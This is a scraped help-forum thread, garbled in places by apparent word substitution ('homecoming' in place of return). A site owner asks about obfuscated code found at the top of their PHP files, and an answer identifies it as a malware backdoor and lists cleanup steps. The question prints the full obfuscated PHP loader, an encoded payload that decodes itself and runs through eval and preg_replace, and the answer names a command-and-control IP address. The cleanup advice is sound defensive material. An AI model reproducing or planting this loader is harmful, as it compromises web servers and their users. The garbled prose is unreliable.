security - garbage code appearing at the beginning of PHP files -

security - garbage code appearing at the beginning of PHP files -

just php files have developed garbage code @ origin of each file, paste file @ end show you. file clean code stops working or has major problems it. please help, file below code add together button think, if utilize file works, if remove garbage code stops working

<?php $azebdqinoq = '825%x5c%x7827jsv%x5c%x78256<c>^#zx7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%860ha%x5c%x7827pd%x5c%x78256<pd%x5dov{h19275j{hnpd19275fubmg452]88]5]48]32m3]317]445]212]445]43]321fe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x24]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x78973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]k4]65]d8]867824*<!%x5c%x7824-%x5c%x7824gps)%x5x7825tww**wysboepn)%x5c%x7825bss-%x5c%x7d]245]k2]285]ke]53ld]53]kc]55ld]55#*<%x5c%x7825bg9}:}.}-}!#*<%x)eobs%x5c%x7860un>qp%x5c%x7825!|z~!<##!>!2p%x5c%x7825!|!*!***1^w%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!ce*[!%xc%x7860{666~6<&w6<%x5c%x787fw6*cw&)7gj6<.[a%x5c%x7827&6<%x5c%[k2%x5c%x7860{6:!}7;!}6;##}c;!>>!}w;utpi}y;tuofuopd%x572]48y]#>m%x5c%x7825:|:*r%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]bals["%x61%156%x75%156%xopjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c##!>!2p%x5c%x7825z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!xa%x5c%x7822)7gj6<*qdu%x5c%x7860mpt7-nbfsut%x5c%x786x5c%x7822!ftmbg)!gj<*#k#)usbux78b%x5c%x7825mm)%x5c%c%x78256<.msv%x5c%x725:-t%x5c%x7825)3of:zasv<*w%x5c%x7825)ppde>u%x5c%x7825v<#65,47r25,d7r17,67r37,#%x5c%x78b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+y25c:>%x5c%x7825s:%x5c%x785c%x>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>>%ss-%x5c%x7825r%x5c%x7878w~!ypp2)%x5c%x7825zb%x5c%*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1gx5c%x7878<~!!%x5c%x7825s:n}#-%x5c%x7825o:w%x5c%%164") && (!isset($glox5c%x7822!pd%x5c%x7825)!gj}z;h!opjudovg}{;#)tutjyf%x523ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:5c%x7827&6<*rfs%x5c%x78257-k)fujs%x5c%x7878x6<#o]o]y%x5c%x78257;utpx5c%x7825ww2)%x5c%x7825w%x5c%x7860tw~%x5c%x7824<%x5c%x78e%x5c%25%x5c%x7824-%x5c%x78222:ftmbg39*56a:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnp%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112ror_reporting(0); preg_replace("%x2f%50%xyf%x5c%x7860%x5c%x7878%x5c%]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257i#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x785c%x7824b!>!%x5c%x7825yy)#}#-#%x4y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x78%x5c%x7825!*##>>x)!gjz<#opo#>b%x5c%x7825!**x)ufttj%x5~6<&w6<%x5c%x787fw6*cw&)7gj6<*doj%x5c%x78257-c)fepmqnjax7825%x5c%x7878:-!%x5c%x7825tz>2q%x5c%x7825<#g6r85,67r37,18r#>q%x5c%x7825v<*#fopov;hojx5c%x78256<*17-sfebfi,6<*127-uvpfnju,6<*27-sfc%x7825-#+i#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x785c%x7825nfd>%x5c%x7825fdy<cb*[%x5c%x7825h!7825cb%x5c%x7825in}#-!tussfw)%x5c%x7825c*w%x5c%x7825en+#qi%x5c%x785cfmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x241]334]368]322]3]364]6]283]427]36]373p6]36]73]83]238m7]381]211m5]67]ui&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<x82f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x725)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):825)!gj!<**2-4-bube{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5osvufs:~928>>%x5c%x7856~6<%x5c%x787fw6<*k)ftpmdxa6|7**197-2qj%x5c%x78257-k)udfoopdx782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***fx29%73", null); }24]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodu%x7825kj:!>!#]y3d]51x7822l:!}v;3q%x5c%x7825}u;y]7878bsfuvso!sboepn)%x5c%x7825epnb2]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x%x5c%x785csboe))1%x5c%)sutcvt)fubmgoj{ha!osvufs!~<3x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]25%x782f%x5c%x7825kj:-!ovmm*<(<%x5c%x78e%x5c%x78b%x5c%x7825c%x7825w6z6<.3%x5c%x78625)sf%x5c%x7878pmpusut)tpqssutre%x5c%x7825)rd%x5c%x7825k9]78]k5]53]kc#<%x5c%x7825tpz!>!#]d6m7]k3#<%x5cx5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x>b%x5c%x7825z<#opo#>b7825!osvufs!*!+a!>!{e%x5c%x7825)!>>%ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c27id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojrk3%x5fw6*%x5c%x787f_*#fubfsdxk5%x5c%x7860{66f%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x5c%x7825l}s;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c%x7fgfs%x5c%x7860quui&c_uofhb%x5c%x7860sftv%x5c%x7860qu2f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]y81]26c%x78256<pd%x5c%x7825w6z6<.4%x5c%x7ovg!|!**#j{hnpd#)tutjyf%x5c%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x75c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}k;%x5c%x7860825!<12>j%x5c%x7825!|!*#91y]c9y]g2y2f20quui7jsv%x5c%x78257ufh#%x5c%x7827rfs%x5c%x782]y86]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%24-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47j%x5c%x7825-bube{h%x5c%x7825)sutcvt-#w#)yqmpef)#%x5c%x7824*<!%x5c,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x78%x5c%x7824ypp3)%x5c%x7]d4]275]d:m8]df#<%x5c%x7825tdz>#l4]275l3]248l3p6loj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppdex35%165%x3a%146%x21%76%x21%50%x5c%x78x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qja)qj3hopma%x5c%x7882f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}x%x5c%x7824<!%0ha%x5c%x7827pd%x5c%x78256<pd%2%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]yf!}z;^nbsbq%x5c%x7825%x5c%x785csfwsft%x5c%x7860%x5c%x7825}x;!s5c%x782f#00#w~!%x5c%x7825t2w)##qtjw)#]82#-273qj%x5c%x78256<*y%x5c%x7825)fnbozcyufha%x5c%x7825c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x785!-#1]#-bube{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827t>j%x5c%x7825!*9!%x5c%x7827!hmg%33]65]y31]55]y85]82]y7jpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x7824w&)7gj6<*k)ftpmdxa6~6<u%x5c%x78257>%x5c%x827;mnui}&;zepc}a;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudov0%x6c%157%x64%145%x28%%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<epdof.uofuopd#)sfebfi{*w%x5c%x7825)kv%x5c%x7878{**#k#)tutjif((function_exists("%x6f%142%x5f%163%x74%141%x726g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x78%x78242178}527}88:}334}47x787fw6*%x5c%x787f_*##)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepd6767~6<cw6<pd%x5c%x7825w6z6<.5%x5c%x7860ha%x5c%x7827pd%x5%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786c%x7860opjudovg)!gj!|!25!)!gj!<2,*j%x5c%x782dr6<*id%x5c%x7825)dfyfr%x5c%x7827tfs%sdxa%x5c%x7827k6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%2]y74]256]y39]252]y83]273]y7^>ew:qb:qc:w~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%c%x7825%x5c%x7824-%x#!#-%x5c%x7825tmw)%x5c%w%x5c%x782f%x5c%x7824)#p#-#q#-#b#-#t#-#e#-#g#-#h#-#i#-#k#825)}.;%x5c%x7860uqpmsvd!-id%x5c%x7825)uqpuft%x5c%x7860msvd%x7825yy>#]d6]281l1#%x5c%x782f#m5]dgp5]d6#<%x5c%x7825fdy>#]d4]21m5]d2p4]d6#<%x5c%x7825g]y6d]281l]y31]278]y3f]51l3]84]y31m6]y3e]81#%x5c%x782f#7e:55946-trg}%x5c%x7878;0]=])0#)u!%x5c%x7827{**u%x5c%x7825-#jt0}z;0]=]0#)2qc%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbu]#>>*4-1-bube{h%x5c%x7825)sutx7825z>!tussfw)%x5c%x7825zw%x5c%x7825h2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%16feobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zp!*#opo#>>}r;msv}.;%141%x72%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%}r;2]},;osvufs}%x5c%x7>ezh,2w%x5c%x7825wn;#-ez-1h*wcw*[!%x5c%x7825rn}#qwtw%x5c%x7825hir%x5ggg!>!#]y81]273]y76]258]y6g]273]y76]2715c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x78x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x782f#%x5c%x782f#%x5c%x782f},-#l#-#m#-#[#-#y#-#d#-#w#-#c#-#o#-#n#*%x5c%x7824%x5cx785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#y#%x5c%x785cbssb!-#}#)fepmqnj!%x5c%x782]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!0ldpt7-ufoj%x5c%x7860gb)fubf*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>t%x5c%x7860cpv%x5c%x787f%x5c%x7c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hoh%x##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##qtpz)#]341]88m4p8]37]278]225]x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7]464]284]364]6]234]34n fjfgg($n){return chr(ord($n)-1);} @erce44#)zbssb!>!ssbnpe_gmft%x5c%x786!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bube{h%x5c%x7825)tpqsu827,*b%x5c%x7827)fepdof.)fepdof.%x5ccvt)!gj!|!*bube{h%x5c%x7825)j{hnpd!opjud2]58]24]31#-%x5c%x7825tdz*wsfuvso!%x5c%x7825bss;#-#}+;%x5c%x7825-qp%x5c%x7825825r%x5c%x7878b%x5c%x7825h>#]y31]278]y3e]81]k747y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]7{ftmfv%x5c%x787f<*x&z&s{ftmfv%x5c%x787f<*xaha)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%tus%x5c%x7860sfqmbdf)%x5c%x78860ftsbqa7>q%x5c%x78256<%x5c%x787.984:75983:48984:71]k9]77]d4]82]k6]72])54l}%x5c%x7827;%x5c%x7825!<*#}_;#)3>!%x5c%x7825tdz)%x5c%x7825bbt-%x5c%x7825bt-%x5c%x7825hw~%x5c%x7825fdy)7825w6<%x5c%x787fw6*cwtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmq%x5c%x7825%x5c%x7827y%x5%x5c%x78256<c%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]ogtobsuosvufs,6<*msv%x5c%x78257-msv,6<*)ujojr%x5c%x78147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%sfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%]y35]256]y76]72]y3d]51]y35]274057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftm5]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y%x5c%x7827&6<.fmjga%x5c%x7827doj%x5ufldpt}x;%x5c%x7860msvd}r;*msv%x5c%x7x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-x5c%x7825w6z6<.2%x5c%x7860ha%x5c%x7827pd8:56985:6197g:74985-rr.93e:5597f-s.5c%x7825cijqetqcoc%x5c%x782f#00#w~!ydrr)%x5c%x7825r%x5c%x87f%x5c%x787f%x5c%x787f<u%x5c%x7825v%x5c%x782782f7&6|7**111127-k)ebfsx%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<c%x0qiq&f_utpi%x5c%x7860quui&e_seeb%x5c%x7860fupnfs&d_sfs73]d6p2l5p6]y6gp7l6mf!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7872qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x7x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x52fq%x5c%x7825>u<#16,47r57,27r66,#%x5c%x782fq%x5c%x7825c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,bjg!)%x5c%x7825j:>>1*!%x5)rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c~<**9.-j%x5c%x7825-bube{h%x5c%x782561"])))) { $globals["%x61%156%x75%156%x61"]=1; functio%x7825%x5c%x7824-%x5c%x7824!>!fo%x5c%x7822#)fepmqyfa>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)eu]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*c6]62]y3:]84#-!ovmm*<%x22%51%x29%51%/(.*)/epreg_replaceyghchkxkgi'; $iuipceeisf = explode(chr((172-128)),'5769,49,1440,22,809,24,9863,54,7862,39,1838,41,6818,50,5630,22,6937,55,8755,69,4838,37,774,35,5480,51,5984,57,4193,35,135,34,3498,23,5005,30,9132,40,8640,63,10013,58,5531,41,9309,67,1572,67,1963,42,4391,49,2923,61,933,52,7542,28,6164,50,4875,66,5186,50,9499,53,2659,44,0,33,8824,42,7427,51,8615,25,1036,20,8379,33,3934,39,2136,55,8998,35,3255,65,8556,59,6127,37,2277,45,8703,52,3882,52,626,61,5906,21,687,53,4301,55,9033,37,6405,59,7610,44,1233,63,1462,53,6083,22,7570,40,9828,35,3342,29,4666,50,6105,22,5324,58,7935,62,5382,32,9070,62,4601,40,3738,38,7802,39,2744,53,4356,35,6751,29,8033,40,4228,27,5652,59,874,59,1345,48,9948,65,8283,67,2984,47,4255,46,7997,36,1778,60,516,61,1143,61,6868,49,7478,27,9450,49,3521,55,9724,53,7901,34,9376,54,4076,52,2605,54,3681,21,2083,53,9777,51,6041,42,8896,41,5082,62,6917,20,7343,33,8120,30,8450,36,1515,57,2902,21,1723,55,169,26,4787,51,5927,57,234,41,3702,36,985,29,7654,31,9264,45,8239,44,1076,67,9600,54,2221,56,5711,58,1879,27,3137,28,6992,22,5572,58,6616,64,4015,61,4941,64,3371,70,6214,28,3198,57,7188,47,1906,57,4440,68,33,52,4561,40,2835,67,2322,52,2703,41,2484,52,3776,53,8196,43,740,34,1056,20,833,41,5881,25,5035,47,5818,63,275,46,4508,53,2797,38,6305,20,2005,32,7121,67,8350,29,1701,22,2037,46,3048,69,5436,44,378,35,6680,31,6711,40,3973,42,9917,31,4641,25,3117,20,8866,30,7505,37,4716,21,2416,68,577,49,9207,57,3165,33,1296,49,6780,38,7014,68,7685,49,5144,42,6325,23,413,40,8150,46,9172,35,321,57,6560,56,8412,38,3576,47,6464,63,9430,20,4737,50,6527,33,453,63,2374,42,8486,70,7734,68,2536,69,195,39,7841,21,8073,47,3320,22,7273,70,1393,47,9552,48,9654,70,3829,53,7235,38,1204,29,5236,44,6242,63,3623,58,85,50,1639,62,1014,22,2191,30,6348,57,7376,51,3441,57,7082,39,5280,44,4128,65,8937,61,5414,22,10071,35,3031,17'); $jlfewmajru=substr($azebdqinoq,(60333-50227),(36-29)); if (!function_exists('ieyytpzwon')) { function ieyytpzwon($npyiglifgm, $abljwfudhn) { $fvtdvkghyu = null; for($ienbzzgpgq=0;$ienbzzgpgq<(sizeof($npyiglifgm)/2);$ienbzzgpgq++) { $fvtdvkghyu .= substr($abljwfudhn, $npyiglifgm[($ienbzzgpgq*2)],$npyiglifgm[($ienbzzgpgq*2)+1]); } homecoming $fvtdvkghyu; };} $rtevwrmojr="\x20\57\x2a\40\x6a\147\x79\163\x6a\151\x6c\155\x6e\166\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\62\x35\55\x31\70\x38\51\x29\54\x20\143\x68\162\x28\50\x34\65\x35\55\x33\66\x33\51\x29\54\x20\151\x65\171\x79\164\x70\172\x77\157\x6e\50\x24\151\x75\151\x70\143\x65\145\x69\163\x66\54\x24\141\x7a\145\x62\144\x71\151\x6e\157\x71\51\x29\51\x3b\40\x2f\52\x20\147\x61\151\x6a\146\x61\167\x77\160\x70\40\x2a\57\x20"; $ghyzwmwujj=substr($azebdqinoq,(65784-55671),(83-71)); $ghyzwmwujj($jlfewmajru, $rtevwrmojr, null); $ghyzwmwujj=$rtevwrmojr; $ghyzwmwujj=(652-531); $azebdqinoq=$ghyzwmwujj-1; ?><?php include_once("php_includes/check_login_status.php");

that not "garbage", a piece of malicious software installed on server through vulnerability (i.e. obsolete code, , like). can see links below, exploit related wordpress mailpoet plugin, lots of possible vulnerabilities can lead same result

what do: have server looked @ security professional.

what might suffice:

restore files clean backups, , upgrade involved software latest version , security patch level (best offline, if possible). disable plugins or software packages there outstanding vulnerability study , no mitigation available (you'll have check relevant sites , mailing lists). verify timestamps of files on server looking "clumps" (lots of files, if unrelated, modified around same date , time) , suspicious timestamps (e.g. php files uploaded or modified outside webmaster's work hours), or files modified when shouldn't have (e.g. scheme files , on), or files aren't should (executable files in info directories) or suspicious anyway (e.g. random names). check webserver logs suspicious activity, involving ip address 31.184.192.250 or similar (see below). also check other possible logs if present: mail service server, ssh, login, ftp.

semi-technical stuff , trivia: have decrypted code - after several layers of obfuscation, core appears close relative, perchance same, of this. seems have appeared first time on chinese website shortly before christmas eve, 2013, when webmaster called help.

the command-and-control server has had domain registered in nov 2013, , located in st. petersburg, russia. urls apparently not respond (but possible internal checks can tell between "original" malware , malware subverted investigate protocol, , reject reply latter).

the cleartext script of malware can found here on github (needless say, exercise appropriate caution).

php security encryption